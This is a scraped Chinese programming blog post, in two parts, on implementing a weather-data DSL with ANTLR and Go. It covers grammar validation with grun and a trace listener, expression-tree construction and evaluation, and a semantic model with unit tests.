字面值，比如：10、3.1415、”hello”，通常做右值，或与Varible通过二元算术运算符构成表达式。\nBinaryOperator和UnaryOperator都属于操作符，而Variable和Literal都属于操作数。这样，一个表达式树就是以操作数为叶子节点，以操作符为其他节点的树。由于树最多是二元操作符，所以表达式树正好是一个二叉树，一元运算符的操作数默认放置在左子节点处。\n上面提到过，我们可以基于逆波兰表达式来构建出这样的一棵表达式树，下面就是基于逆波兰表达式构建这棵Tree的实现：\n// semantic/semantic.go // construct a tree based on a reversePolishExpr func NewFrom(reversePolishExpr []Value) Tree { var s Stack[Tree] for _, v := range reversePolishExpr { switch v.Type() { case \u0026quot;literal\u0026quot;, \u0026quot;variable\u0026quot;: s.Push(\u0026amp;Node{ V: v, }) case \u0026quot;binop\u0026quot;: rchild, lchild := s.Pop(), s.Pop() n := \u0026amp;Node{ V: v, } n.SetLeftChild(lchild) n.SetRightChild(rchild) s.Push(n) case \u0026quot;unaryop\u0026quot;: lchild := s.Pop() n := \u0026amp;Node{ V: v, } n.SetLeftChild(lchild) s.Push(n) } } first := s.Pop() root := \u0026amp;Node{} root.SetLeftChild(first) return root } 在这份实现中，我们借由一个stack缓存子树结点。我们从左向右逐一读取逆波兰表达式中的操作符或操作数：\n如果读出来的Value是操作数(literal或variable)，则将该操作数打包成一个Node(可理解为子树)，压到栈中； 如果读出来的Value是一个二元操作符，则将从栈中出栈两个节点，分别作为二元操作符节点的左右节点，合并后的子树再压到栈中； 如果读出来的Value是一个一元操作符，则从栈中弹出一个节点，作为一元操作符节点的左节点，合并后的子树再压到栈中。 栈中最后存放的就是树的最顶层操作符节点，将该节点弹出后作为Root节点的左子节点，表达式树的构造就结束了。而这个Root节点与众不同的特征是其parent为nil（遍历树时会用到）。 构建后的这棵Tree究竟长啥样呢？我们可以通过Dump函数来查看：\nfunc printPrefix(level int) { for i := 0; i \u0026lt; level; i++ { if i == level-1 { fmt.Printf(\u0026quot; |---\u0026quot;) } else { fmt.Printf(\u0026quot; \u0026quot;) } } } func Dump(t Tree, order string) { var f = func(n *Node, level int) { if n == nil { return } printPrefix(level) if n.p == nil { // root node fmt.Printf(\u0026quot;[root]()\\n\u0026quot;) } else { fmt.Printf(\u0026quot;[%s](%v)\\n\u0026quot;, n.V.Type(), n.V.Value()) } } switch order { default: // preorder preOrderTraverse(t.(*Node), 0, f, nil) case \u0026quot;inorder\u0026quot;: inOrderTraverse(t.(*Node), 0, f, nil) case \u0026quot;postorder\u0026quot;: postOrderTraverse(t.(*Node), 0, f, nil) } } Dump基于树的遍历，提供了以前序(preOrder)、中序(inOrder)和后序(postOrder)遍历方式输出Tree的各个Node的特性。树的遍历是树的基本操作， 以前序遍历为例，看看遍历的实现：\n// pre order traverse func preOrderTraverse(t *Node, level int, enterF func(*Node, int), exitF func(*Node, int)) { if t == nil { return } if enterF != nil { enterF(t, level) // traverse this node } // traverse left children preOrderTraverse(t.l, level+1, enterF, exitF) // traverse right children preOrderTraverse(t.r, level+1, enterF, exitF) if exitF != nil { exitF(t, level) // traverse this node again } } 这里借鉴了ANTLR语法解析树的“思路”，在遍历每个Node时都提供enterF和exitF的回调，用于用户自定义遍历Node时的行为。了解了原理后，我们看看基于下面逆波兰表达式：\nspeed,50,\u0026lt;,temperature,1,+,4,\u0026lt;,and,salinity,roundDown,600,\u0026lt;=,ph,roundUp,8.0,\u0026gt;,or,or 构建的Tree的样子如下：\n[root]() |---[binop](or) |---[binop](and) |---[binop](\u0026lt;) |---[variable](speed) |---[literal](50) |---[binop](\u0026lt;) |---[binop](+) |---[variable](temperature) |---[literal](1) |---[literal](4) |---[binop](or) |---[binop](\u0026lt;=) |---[unaryop](roundDown) |---[variable](salinity) |---[literal](600) |---[binop](\u0026gt;) |---[unaryop](roundUp) |---[variable](ph) |---[literal](8) 一旦Tree构建完毕，我们就可以基于该Tree进行求值了。下面是求值函数Evaluate的实现：\nfunc Evaluate(t Tree, m map[string]interface{}) (result bool, err error) { var s Stack[Value] defer func() { // extract error from panic if x := recover(); x != nil { result, err = false, fmt.Errorf(\u0026quot;eval error: %v\u0026quot;, x) return } }() var exitF = func(n *Node, level int) { if n == nil { return } if n.p == nil { // root node return } v := n.GetValue() switch v.Type() { case \u0026quot;binop\u0026quot;: rhs, lhs := s.Pop(), s.Pop() s.Push(evalBinaryOpExpr(v.Value().(string), lhs, rhs)) case \u0026quot;unaryop\u0026quot;: lhs := s.Pop() s.Push(evalUnaryOpExpr(v.Value().(string), lhs)) case \u0026quot;literal\u0026quot;: s.Push(v) case \u0026quot;variable\u0026quot;: name := v.Value().(string) value, ok := m[name] if !ok { panic(fmt.Sprintf(\u0026quot;not found variable: %s\u0026quot;, name)) } // use the value in map to replace variable s.Push(\u0026amp;Literal{ Val: value, }) } } preOrderTraverse(t.(*Node), 0, nil, exitF) result = s.Pop().Value().(bool) return } 虽然这里用的是preOrderTraverse，但我们是在exitF回调中做的计算，因此这里等价于一个标准的树的后序遍历。每当遇到操作数，就入栈；当操作数为variable时，在输入参数中map中查找该variable是否存在，如存在，则将值压入栈。每当遇到操作符，则将操作数弹栈计算后，再入栈。如此，最终栈内仅保存一个值，就是这个表达式树的计算结果。\n三. 验证语义模型之表达式树 前面说过，语义模型与语法树分离后，我们可以对语义模型进行单独测试，下面就是一个简单的基于表驱动的对表达式树的单元测试：\n// tdat/semantic/semantic_test.go func TestNewFrom(t *testing.T) { //($speed \u0026lt; 50) and (($temperature + 1) \u0026lt; 4) or ((roundDown($salinity) \u0026lt;= 600.0) or (roundUp($ph) \u0026gt; 8.0)) // speed,50,\u0026lt;,temperature,1,+,4,\u0026lt;,and,salinity,roundDown,600,\u0026lt;=,ph,roundUp,8.0,\u0026gt;,or,or var reversePolishExpr []Value reversePolishExpr = append(reversePolishExpr, newVariable(\u0026quot;speed\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newLiteral(50)) reversePolishExpr = append(reversePolishExpr, newBinaryOperator(\u0026quot;\u0026lt;\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newVariable(\u0026quot;temperature\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newLiteral(1)) reversePolishExpr = append(reversePolishExpr, newBinaryOperator(\u0026quot;+\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newLiteral(4)) reversePolishExpr = append(reversePolishExpr, newBinaryOperator(\u0026quot;\u0026lt;\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newBinaryOperator(\u0026quot;and\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newVariable(\u0026quot;salinity\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newUnaryOperator(\u0026quot;roundDown\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newLiteral(600.0)) reversePolishExpr = append(reversePolishExpr, newBinaryOperator(\u0026quot;\u0026lt;=\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newVariable(\u0026quot;ph\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newUnaryOperator(\u0026quot;roundUp\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newLiteral(8.0)) reversePolishExpr = append(reversePolishExpr, newBinaryOperator(\u0026quot;\u0026gt;\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newBinaryOperator(\u0026quot;or\u0026quot;)) reversePolishExpr = append(reversePolishExpr, newBinaryOperator(\u0026quot;or\u0026quot;)) tree := NewFrom(reversePolishExpr) Dump(tree, \u0026quot;preorder\u0026quot;) // test table var cases = []struct { id string m map[string]interface{} expected bool }{ //($speed \u0026lt; 50) and (($temperature + 1) \u0026lt; 4) or ((roundDown($salinity) \u0026lt;= 600.0) or (roundUp($ph) \u0026gt; 8.0)) { id: \u0026quot;0001\u0026quot;, m: map[string]interface{}{ \u0026quot;speed\u0026quot;: 30, \u0026quot;temperature\u0026quot;: 6, \u0026quot;salinity\u0026quot;: 700.0, \u0026quot;ph\u0026quot;: 7.0, }, expected: false, }, { id: \u0026quot;0002\u0026quot;, m: map[string]interface{}{ \u0026quot;speed\u0026quot;: 30, \u0026quot;temperature\u0026quot;: 1, \u0026quot;salinity\u0026quot;: 500.0, \u0026quot;ph\u0026quot;: 7.0, }, expected: true, }, { id: \u0026quot;0003\u0026quot;, m: map[string]interface{}{ \u0026quot;speed\u0026quot;: 60, \u0026quot;temperature\u0026quot;: 10, \u0026quot;salinity\u0026quot;: 700.0, \u0026quot;ph\u0026quot;: 9.0, }, expected: true, }, { id: \u0026quot;0004\u0026quot;, m: map[string]interface{}{ \u0026quot;speed\u0026quot;: 30, \u0026quot;temperature\u0026quot;: 1, \u0026quot;salinity\u0026quot;: 700.0, \u0026quot;ph\u0026quot;: 9.0, }, expected: true, }, } for _, caze := range cases { r, err := Evaluate(tree, caze.m) if err != nil { t.Errorf(\u0026quot;[case %s]: want nil, actual %s\u0026quot;, caze.id, err.Error()) } if r != caze.expected { t.Errorf(\u0026quot;[case %s]: want %v, actual %v\u0026quot;, caze.id, caze.expected, r) } } } 上面是语义模型中最复杂的部分，但不是全部，还有windowRange、enumableFunc以及result，下面我们就来建立tdat的完整的语义模型。\n四. 建立完整的语义模型 前面我们已经解决掉了语义模型中最复杂的部分：conditionExpr。下面我们就把完整的语义模型实现出来，我们定义一个Model结构体来表示语义模型：\n// tdat/semantic/semantic.go type WindowsRange struct { low int high int } type Model struct { // conditionExpr t Tree // windowsRange wr WindowsRange // enumerableFunc ef string // result result []string } 我们看到Model本质上就是conditionExpr、WindowsRange、enumerableFunc和result这几个影响执行结果的元素的聚合，因此Model的创建函数也比较简单：\nfunc NewModel(reversePolishExpr []Value, wr WindowsRange, ef string, result []string) *Model { m := \u0026amp;Model{ t: NewFrom(reversePolishExpr), wr: wr, ef: ef, result: result, } return m } 我们重点看一下Model的语义执行方法Exec：\n// tdat/semantic/semantic.go func (m *Model) Exec(metrics []map[string]interface{}) (map[string]interface{}, error) { var res []bool for i := m.wr.low - 1; i \u0026lt;= m.wr.high-1; i++ { r, err := Evaluate(m.t, metrics[i]) if err != nil { return nil, err } res = append(res, r) } andRes := res[0] orRes := res[0] for i := 1; i \u0026lt; len(res); i++ { andRes = andRes \u0026amp;\u0026amp; res[i] orRes = orRes || res[i] } switch m.ef { case \u0026quot;any\u0026quot;: if orRes { return m.outputResult(metrics[0]) } return nil, ErrNotMeetAny case \u0026quot;none\u0026quot;: if andRes == false { return m.outputResult(metrics[0]) } return nil, ErrNotMeetNone case \u0026quot;each\u0026quot;: if andRes == true { return m.outputResult(metrics[0]) } return nil, ErrNotMeetEach default: return nil, ErrNotSupportFunc } } 这里的实现并非“性能最优”，但逻辑清晰：Exec会使用表达式树对迭代窗口(从low到high)中的每个元素进行求值，求值结果放入一个切片，然后再针对这个切片，求所有元素的逻辑与(andRes)与逻辑或(orRes)，再结合enumerableFunc的类型综合判断出是否要输出最新的那条metric。\n关于Model的验证与表达式树差不多，限于篇幅这里就不赘述了，大家可以参考semantic_test.go中的测试case demo。\n五. 小结 在这一部分内容中，我们为DSL建立了语义模型，tdat语义模型的核心是表达式树，因此我们重点讲了基于逆波兰式创建表达式树的方法、表达式树的求值方法以及表达式树的验证。最后，我们建立了一个名为semantic.Model的完整模型。\n在下一篇文章中，我们将讲解如何基于DSL的语法树提取逆波兰式，并组装语义模型，把DSL的前后端串起来，让我们的语法示例可以真正run起来。\n本文中涉及的代码可以在这里下载 – https://github.com/bigwhite/experiments/tree/master/antlr/tdat 。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/05/27/an-example-of-implement-dsl-using-antlr-and-go-part3/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/an-example-of-implement-dsl-using-antlr-and-go-part3-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/05/27/an-example-of-implement-dsl-using-antlr-and-go-part3\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/05/27/an-example-of-implement-dsl-using-antlr-and-go-part3\"\u003ehttps://tonybai.com/2022/05/27/an-example-of-implement-dsl-using-antlr-and-go-part3\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在前面的系列文章中，我们为气象学家们设计了一门名为\u003cstrong\u003eTdat\u003c/strong\u003e的DSL，使用ANTLR的文法规则\u003ca href=\"https://tonybai.com/2022/05/24/an-example-of-implement-dsl-using-antlr-and-go-part1\"\u003e编写了Tdat的文法\u003c/a\u003e，基于该文法生成了Tdat的语法解析器代码并\u003ca href=\"https://tonybai.com/2022/05/25/an-example-of-implement-dsl-using-antlr-and-go-part2\"\u003e初步验证了文法的正确性\u003c/a\u003e，Tdat可以成功将我们编写的Tdat语法代码样例解析为一颗内存中的树结构。\u003c/p\u003e\n\u003cp\u003e此时此刻，我们编写的DSL语法代码还无法按预期工作，因为\u003cstrong\u003e缺少执行语义\u003c/strong\u003e。在这篇文章中，我们就来为这门DSL建立语义模型，并单独对这个语义模型进行验证。\u003c/p\u003e","title":"手把手教你使用ANTLR和Go实现一门DSL语言（第三部分）：建立和验证语义模型"},{"content":"\n本文永久链接 – https://tonybai.com/2022/05/25/an-example-of-implement-dsl-using-antlr-and-go-part2\n在本系列的第一篇文章《手把手教你使用ANTLR和Go实现一门DSL语言：设计DSL语法与文法》中，我们已经为气象学家们设计了一门DSL，建立了语法样例，并用ANTLR4文法将DSL定义了出来。按照外部DSL设计与实现的工作流，在这一篇中，我们将对上一篇设计的DSL文法进行验证，看看ANTLR基于我们设计的文法是否能成功生成解析器代码，并且基于生成的解析器是否可以成功处理我们编写的语法样例。\nANTLR文法验证可分为两个阶段，我们分别来看一下。\n一. 验证ANTLR是否能解析我们定义的文法(Tdat.g4) 验证ANTLR是否能解析我们的文法Tdat.g4的过程也是通过antlr4尝试生成DSL语法解析器代码的过程，如果顺利生成目标代码，没有报错，则说明我们的Tdat.g4文法至少是符合ANTLR4对文法的要求的。一旦成功，ANTLR就会在特定目录下生成你期望的语法的解析器(parser)代码，比如下面命令将Tdat.g4文法生成目标代码为Go的解析器实现，生成的Go代码位于当前目录下的parser目录下。\n$antlr4 -Dlanguage=Go -o parser Tdat.g4 在这个过程中，除了语法错误（比如没用分号结尾，缺少冒号等），我们常会遇到两类错误。\n一类是Parser rule的间接左递归问题，比如下面这个例子：\n// Demo2.g4 grammar Demo2; expr1 : expr2; expr2 : expr1 '+' expr3 | '(' expr2 ')' ; expr3 : INT; INT: DIGIT+; DIGIT: [0-9]; 使用antlr基于上面Demo2.g4生成parser代码，我们会得到下面错误提示：\n$antlr4 -Dlanguage=Go -o parser Demo2.g4 error(119): Demo2.g4::: The following sets of rules are mutually left-recursive [expr1, expr2] 以Demo2.g4为例，所谓“间接左递归”，就是expr1产生式中包含expr2，而expr2的产生式规则中又包含了expr1，这种情况Antlr是无法处理的。那么我们需要消除这种“间接左递归”，最直接的方法就是将文法改为“直接左递归”，如下面改后的文法：\ngrammar Demo2; expr1 : expr1 '+' expr3 | '(' expr1 ')' ; expr3 : INT; INT: DIGIT+; DIGIT: [0-9]; 这里把expr2这一中间rule去掉了！expr1的产生式中直接包含自己，这种直接左递归是antlr可以支持的。\n另一类是词法规则生成式相同导致的归约歧义。这里antlr不会给出error，而会以warning形式提醒开发者。比如下面例子：\ngrammar Demo1; prog: expr | expr1 ; expr: DIGIT AND DIGIT; expr1: DIGIT MASK DIGIT; AND : '\u0026amp;' ; MASK : '\u0026amp;' ; DIGIT: [0-9]; antlr处理这个文法时，会提示如下warning：\nwarning(184): Demo1.g4:14:0: One of the token MASK values unreachable. \u0026amp; is always overlapped by token AND 意思是MASK这个词法规则总是会被AND这个词法规则所遮蔽，或者说通过这个文法总是能识别到expr，而无法识别并归约到expr1这个规则。这个问题与具体文法设计相关，解决方法可参考ANTLR提供的词法规则说明。\n不过，即便基于你的文法成功生成Parser代码，也不代表你的文法没有逻辑错误。我们需要通过一些语法样例来验证生成的Parser是否能正确解析我们的语法样例。\n二. 验证生成的Parser代码是否能正确解析我们的语法样例 第二阶段的验证有两种方法，最简单的就是使用antlr提供的工具grun。这里我将grun的相关命令打包到一个Makefile中：\n// Makefile for debugging Tdat.g4 antlr4_exe = java -jar /usr/local/lib/antlr-4.10.1-complete.jar grun_exe = java org.antlr.v4.gui.TestRig target = all: go build gen: $(antlr4_exe) -Dlanguage=Go -o parser Tdat.g4 gen_visitor: $(antlr4_exe) -Dlanguage=Go -visitor -o parser Tdat.g4 gen_java: $(antlr4_exe) Tdat.g4 gui: gen_java javac *.java $(grun_exe) Tdat prog $(target) -gui trace: gen_java javac *.java $(grun_exe) Tdat prog $(target) -trace tokens: gen_java javac *.java $(grun_exe) Tdat prog $(target) -tokens tree: gen_java javac *.java $(grun_exe) Tdat prog $(target) -tree clean: rm -fr *.java *.class tdat 由于grun依赖于基于Tdat.g4生成的java parser代码，所以每个调试命令，如debug、trace、tokens等都需要依赖对应的Java的代码生成。\n对于同归属于视觉动物的人类来说，我推荐你先使用图形化选项(gui)对语法样例的解析进行调试，我们以下面的最简单的samples/sample1.t为例：\n// samples/sample1.t r0001: Each { || $speed \u0026gt; 30 } =\u0026gt; (\u0026quot;speed\u0026quot;, \u0026quot;temperature\u0026quot;, \u0026quot;salinity\u0026quot;); 我们执行下面命令：\n$make gui target=samples/sample1.t java -jar /usr/local/lib/antlr-4.10.1-complete.jar Tdat.g4 javac *.java java org.antlr.v4.gui.TestRig Tdat prog samples/sample1.t -gui ... ... 上述命令会打开一个新窗口，显示解析后的语法树：\n很幸运！基于Tdat.g4文法生成的Parser可以正确解析sample1.t。\n某些时候我们需要查看字符序列被解析为词法元素token的过程，以验证字符序列是否都被正确识别，我们可以通过make tokens来实现：\n$make tokens target=samples/sample1.t java -jar /usr/local/lib/antlr-4.10.1-complete.jar Tdat.g4 javac *.java java org.antlr.v4.gui.TestRig Tdat prog samples/sample1.t -tokens [@0,12:16='r0001',\u0026lt;ID\u0026gt;,3:0] [@1,17:17=':',\u0026lt;':'\u0026gt;,3:5] [@2,19:22='Each',\u0026lt;'Each'\u0026gt;,3:7] [@3,24:24='{',\u0026lt;'{'\u0026gt;,3:12] [@4,26:26='|',\u0026lt;'|'\u0026gt;,3:14] [@5,27:27='|',\u0026lt;'|'\u0026gt;,3:15] [@6,29:34='$speed',\u0026lt;METRIC\u0026gt;,3:17] [@7,36:36='\u0026gt;',\u0026lt;'\u0026gt;'\u0026gt;,3:24] [@8,38:39='30',\u0026lt;INT\u0026gt;,3:26] [@9,41:41='}',\u0026lt;'}'\u0026gt;,3:29] [@10,43:44='=\u0026gt;',\u0026lt;'=\u0026gt;'\u0026gt;,3:31] [@11,46:46='(',\u0026lt;'('\u0026gt;,3:34] [@12,47:53='\u0026quot;speed\u0026quot;',\u0026lt;STRING\u0026gt;,3:35] [@13,54:54=',',\u0026lt;','\u0026gt;,3:42] [@14,56:68='\u0026quot;temperature\u0026quot;',\u0026lt;STRING\u0026gt;,3:44] [@15,69:69=',',\u0026lt;','\u0026gt;,3:57] [@16,71:80='\u0026quot;salinity\u0026quot;',\u0026lt;STRING\u0026gt;,3:59] [@17,81:81=')',\u0026lt;')'\u0026gt;,3:69] [@18,82:82=';',\u0026lt;';'\u0026gt;,3:70] [@19,84:83='\u0026lt;EOF\u0026gt;',\u0026lt;EOF\u0026gt;,4:0] 通过上述的每一行，我们都可以看到一个token被解析出来，匹配的是哪条词法规则。以第一行为例：”r0001″被解析出来，成功匹配ID这个token规则。\n如果要结合parser规则一并查看匹配规则的步骤，可以用trace命令，通过这个命令的详细输出我们可以对parser规则匹配异常的情况进行诊断：\n$make trace target=samples/sample1.t java -jar /usr/local/lib/antlr-4.10.1-complete.jar Tdat.g4 javac *.java java org.antlr.v4.gui.TestRig Tdat prog samples/sample1.t -trace enter prog, LT(1)=r0001 enter ruleLine, LT(1)=r0001 enter ruleID, LT(1)=r0001 consume [@0,12:16='r0001',\u0026lt;33\u0026gt;,3:0] rule ruleID exit ruleID, LT(1)=: consume [@1,17:17=':',\u0026lt;1\u0026gt;,3:5] rule ruleLine enter enumerableFunc, LT(1)=Each consume [@2,19:22='Each',\u0026lt;6\u0026gt;,3:7] rule enumerableFunc exit enumerableFunc, LT(1)={ consume [@3,24:24='{',\u0026lt;2\u0026gt;,3:12] rule ruleLine enter windowsRange, LT(1)=| consume [@4,26:26='|',\u0026lt;9\u0026gt;,3:14] rule windowsRange consume [@5,27:27='|',\u0026lt;9\u0026gt;,3:15] rule windowsRange exit windowsRange, LT(1)=$speed enter conditionExpr, LT(1)=$speed enter primaryExpr, LT(1)=$speed consume [@6,29:34='$speed',\u0026lt;34\u0026gt;,3:17] rule primaryExpr exit primaryExpr, LT(1)=\u0026gt; enter comparisonOp, LT(1)=\u0026gt; consume [@7,36:36='\u0026gt;',\u0026lt;24\u0026gt;,3:24] rule comparisonOp exit comparisonOp, LT(1)=30 enter primaryExpr, LT(1)=30 enter literal, LT(1)=30 consume [@8,38:39='30',\u0026lt;35\u0026gt;,3:26] rule literal exit literal, LT(1)=} exit primaryExpr, LT(1)=} exit conditionExpr, LT(1)=} consume [@9,41:41='}',\u0026lt;3\u0026gt;,3:29] rule ruleLine consume [@10,43:44='=\u0026gt;',\u0026lt;4\u0026gt;,3:31] rule ruleLine enter result, LT(1)=( consume [@11,46:46='(',\u0026lt;11\u0026gt;,3:34] rule result consume [@12,47:53='\u0026quot;speed\u0026quot;',\u0026lt;37\u0026gt;,3:35] rule result consume [@13,54:54=',',\u0026lt;10\u0026gt;,3:42] rule result consume [@14,56:68='\u0026quot;temperature\u0026quot;',\u0026lt;37\u0026gt;,3:44] rule result consume [@15,69:69=',',\u0026lt;10\u0026gt;,3:57] rule result consume [@16,71:80='\u0026quot;salinity\u0026quot;',\u0026lt;37\u0026gt;,3:59] rule result consume [@17,81:81=')',\u0026lt;12\u0026gt;,3:69] rule result exit result, LT(1)=; consume [@18,82:82=';',\u0026lt;5\u0026gt;,3:70] rule ruleLine exit ruleLine, LT(1)=\u0026lt;EOF\u0026gt; exit prog, LT(1)=\u0026lt;EOF\u0026gt; 上面这个r0001的逻辑比较简单，我们再来一个复杂的：\n//samples/sample2.t r0002: None { |,30| $temperature \u0026gt; 5 } =\u0026gt; (\u0026quot;speed\u0026quot;, \u0026quot;temperature\u0026quot;, \u0026quot;salinity\u0026quot;); r0005: Each { |,| (($speed \u0026lt; 5) and (($temperature + 1) \u0026lt; 10)) or ((roundDown($speed) \u0026lt;= 10) and (roundUp($salinity) \u0026gt;= 500))} =\u0026gt; (); 我们用gui形式输出语法树：\n我们看到，虽然sample2.t中的源码逻辑变复杂了，但我们生成的Parser依旧可以成功将其解析为语法树。\n如果你觉得grun提供的这些工具的输出都不符合你的胃口，那么好吧，你可以自己动手基于Listener方式自己写你的调试工具，最简单的逻辑：我们遍历一遍Parser生成的语法树，看看语法树每个节点是否符合我们的预期。\nAntlr的Go runtime提供了一个TraceListener的结构，从名字上来看似乎是可以遍历语法树，对Node做trace的。但试用后发现总出panic，不知道是不是用法的问题。\n不过自己写一个也不麻烦，我们建立一个trace_listener.go，这个listener将遍历语法树所有节点并按我们期望的格式输出相关信息：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;tdat/parser\u0026quot; \u0026quot;github.com/antlr/antlr4/runtime/Go/antlr\u0026quot; ) type TraceListener struct { *parser.BaseTdatListener p *parser.TdatParser t antlr.Tree } func NewTraceListener(p *parser.TdatParser, t antlr.Tree) *TraceListener { return \u0026amp;TraceListener{ p: p, t: t, } } func (l *TraceListener) EnterEveryRule(ctx antlr.ParserRuleContext) { printLevelPrefix(ctx) i := ctx.GetRuleIndex() ruleName := l.p.RuleNames[i] fmt.Printf(\u0026quot;==\u0026gt; %s 《 %s 》\\n\u0026quot;, ruleName, ctx.GetText()) } func (l *TraceListener) ExitEveryRule(ctx antlr.ParserRuleContext) { printLevelPrefix(ctx) i := ctx.GetRuleIndex() ruleName := l.p.RuleNames[i] fmt.Println(\u0026quot;\u0026lt;==\u0026quot;, ruleName) } antlr的listener默认对语法树进行前序遍历，antlr go runtime中的ParseTreeListener接口包含EnterEveryRule和ExitEveryRule两个方法：\ntype ParseTreeListener interface { VisitTerminal(node TerminalNode) VisitErrorNode(node ErrorNode) EnterEveryRule(ctx ParserRuleContext) ExitEveryRule(ctx ParserRuleContext) } 在遍历过程中，这两个方法分别会在进入某节点以及结束遍历某节点时被调用，我们可以在我们的Listener接口实现中重写这两个方法来提取遍历的树的所有节点的信息。\n现在我们提供一个main函数来驱动这个调试过程：\nfunc main() { println(\u0026quot;input file:\u0026quot;, os.Args[1]) input, err := antlr.NewFileStream(os.Args[1]) if err != nil { panic(err) } lexer := parser.NewTdatLexer(input) stream := antlr.NewCommonTokenStream(lexer, 0) p := parser.NewTdatParser(stream) tree := p.Prog() antlr.ParseTreeWalkerDefault.Walk(NewTraceListener(p, tree), tree) } 编译运行上面程序：\n$make go build $./tdat samples/sample1.t input file: samples/sample1.t ==\u0026gt; prog 《 r0001:Each{||$speed\u0026gt;30}=\u0026gt;(\u0026quot;speed\u0026quot;,\u0026quot;temperature\u0026quot;,\u0026quot;salinity\u0026quot;); 》 ==\u0026gt; ruleLine 《 r0001:Each{||$speed\u0026gt;30}=\u0026gt;(\u0026quot;speed\u0026quot;,\u0026quot;temperature\u0026quot;,\u0026quot;salinity\u0026quot;); 》 ==\u0026gt; ruleID 《 r0001 》 \u0026lt;== ruleID ==\u0026gt; enumerableFunc 《 Each 》 \u0026lt;== enumerableFunc ==\u0026gt; windowsRange 《 || 》 \u0026lt;== windowsRange ==\u0026gt; conditionExpr 《 $speed\u0026gt;30 》 ==\u0026gt; primaryExpr 《 $speed 》 \u0026lt;== primaryExpr ==\u0026gt; comparisonOp 《 \u0026gt; 》 \u0026lt;== comparisonOp ==\u0026gt; primaryExpr 《 30 》 ==\u0026gt; literal 《 30 》 \u0026lt;== literal \u0026lt;== primaryExpr \u0026lt;== conditionExpr ==\u0026gt; result 《 (\u0026quot;speed\u0026quot;,\u0026quot;temperature\u0026quot;,\u0026quot;salinity\u0026quot;) 》 \u0026lt;== result \u0026lt;== ruleLine \u0026lt;== prog 这里我用了一种带缩进的格式来查看整个遍历过程以及遍历的每个节点的信息，如果你有你期望输出的格式，可以修改上面的EnterEveryRule和ExitEveryRule方法的实现，总之，怎么方便怎么高效就怎么来！\n一些童鞋会问，文法确定了，语法确定了，Parser也可以成功生成，那么还会有解析错误的情况么？这个肯定是有的，笔者在开发的过程中就遇到因词法规则顺序的问题导致语法规则匹配错误的情况，下面就是一个例子：\n// Demo.g4 grammar Demo; prog : prule1 | prule2 ; prule1 : 'repeat' INT ; prule2 : 'repeat' NONZEROINT ; NONZEROINT : [1-9](DIGIT)* ; INT : DIGIT+ ; fragment DIGIT : [0-9] // match single digit ; LINE_COMMENT : '//' .*? '\\r'? '\\n' -\u0026gt; skip ; COMMENT : '/*' .*? '*/' -\u0026gt; skip ; WS : [ \\t\\r\\n]+ -\u0026gt; skip ; 我们用下面语法测试基于上面Demo.g4生成的Parser：\n//sample1.t repeat 15 我们期望其匹配到的规则为prule1，但实际情况是：\ngrun -gui的输出结果是Parser匹配到了prule2！这是怎么回事呢？我们用grun -tokens再来看看词法规则匹配的情况：\n$grun Demo prog samples/sample1.t -tokens [@0,1:6='repeat',\u0026lt;'repeat'\u0026gt;,2:0] [@1,8:9='15',\u0026lt;NONZEROINT\u0026gt;,2:7] [@2,11:10='\u0026lt;EOF\u0026gt;',\u0026lt;EOF\u0026gt;,3:0] 我们发现15这个数字匹配到了NONZEROINT这个词法规则，而不是INT。这是因为ANTLR默认优先匹配排在前面的词法规则。于是在parser规则层面匹配到prule2就不足为奇了。\n这只是一个“故意制造”的例子，即便不用Parser，我们也能“肉眼”识别文法中的问题。但在真实的复杂的语法解析器验证时，这样的未按预期匹配的情况也是很常见的，而且是肉眼难于分辨的，我们需要利用grun提供的工具去仔细诊断。\n三. 小结 在这一篇中，我们通过ANTLR提供的工具对编写的文法规则进行了验证，并进一步验证了基于该文法生成的Parser是否可以解析我们设计的所有语法样例。\n好了，现在我们已经可以成功将语法样例解析并转换为内存中的一颗语法树了？那么有了这棵树后，我们怎么实现需求中的表达式求值、指标计算与输出呢？\n在下一篇文章中，我将和大家一起学习如何从语法树中提取我们的语义模型，并对语义模型进行测试验证。\n本文中涉及的代码可以在这里下载 – https://github.com/bigwhite/experiments/tree/master/antlr/tdat 